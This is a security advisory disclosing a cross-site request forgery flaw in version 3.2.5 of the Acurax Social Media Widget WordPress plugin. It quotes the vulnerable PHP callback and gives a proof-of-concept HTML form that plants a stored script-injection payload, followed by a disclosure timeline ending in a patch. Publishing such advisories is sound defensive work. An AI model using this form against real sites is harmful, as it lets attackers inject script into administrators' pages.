WordPress Social Media Widget By Acurax 3.2.5 Cross Site Request Forgery

`* Exploit Title: Social Media Widget by Acurax [CSRF]  
* Discovery Date: 2017-12-12  
* Exploit Author: Panagiotis Vagenas  
* Author Link: https://twitter.com/panVagenas  
* Vendor Homepage: http://www.acurax.com/  
* Software Link: https://wordpress.org/plugins/acurax-social-media-widget  
* Version: 3.2.5  
* Tested on: WordPress 4.9.1  
* Category: WebApps, WordPress  
  
  
Description  
-----------  
  
Plugin implements AJAX action `acx_asmw_saveorder` which calls back the  
function `acx_asmw_saveorder_callback`. The later does not implement any  
anti-CSRF controls thus allowing a malicious actor to perform an attack  
that could update plugin specific option `social_widget_icon_array_order`.  
  
Vulnerable param is `$_POST['recordsArray']` and it is saved as an  
option with the name `social_widget_icon_array_order`.  
  
Leveraging a CSRF could lead to a Persistent XSS (see PoC). Payload will  
be served when a user with the right privileges visits plugin's settings  
page (`wp-admin/admin.php?page=Acurax-Social-Widget-Settings`).  
  
Vulnerable code is located in file  
`acurax-social-media-widget/function.php` line 993:  
  
```  
function acx_asmw_saveorder_callback() {  
global $wpdb;  
$social_widget_icon_array_order = $_POST['recordsArray'];  
if ( current_user_can( 'manage_options' ) ) {  
$social_widget_icon_array_order = serialize(  
$social_widget_icon_array_order );  
update_option( 'social_widget_icon_array_order',  
$social_widget_icon_array_order );  
echo "<div id='acurax_notice' align='center' style='width:  
420px; font-family: arial; font-weight: normal; font-size: 22px;'>";  
echo "Social Media Icon's Order Saved";  
echo "</div><br>";  
}  
die(); // this is required to return a proper result  
}  
  
add_action( 'wp_ajax_acx_asmw_saveorder', 'acx_asmw_saveorder_callback' );  
  
```  
  
PoC  
---  
  
In this PoC we leverage the CSRF vulnerabilityt o perform a Persistent  
XSS attack. The payload is available in plugin's settings.  
  
```  
<pre class="lang:html decode:true "><form method="post"  
action="http://vuln.test/wp-admin/admin-ajax.php">  
<input type="hidden" name="action" value="acx_asmw_saveorder">  
<input type="text" name="recordsArray[]"  
value="1'><script>alert(1);</script>">  
<button type="submit" value="Submit">Submit</button>  
</form>  
  
```  
  
Timeline  
--------  
  
1. **2017-12-12**: Discovered  
2. **2017-12-12**: Tried to contact plugin's vendor through the contact  
form on their website  
3. **2017-12-12**: Vendor replied  
4. **2017-12-12**: Vendor Received Details  
5. **2018-01-02**: Patch released  
  
`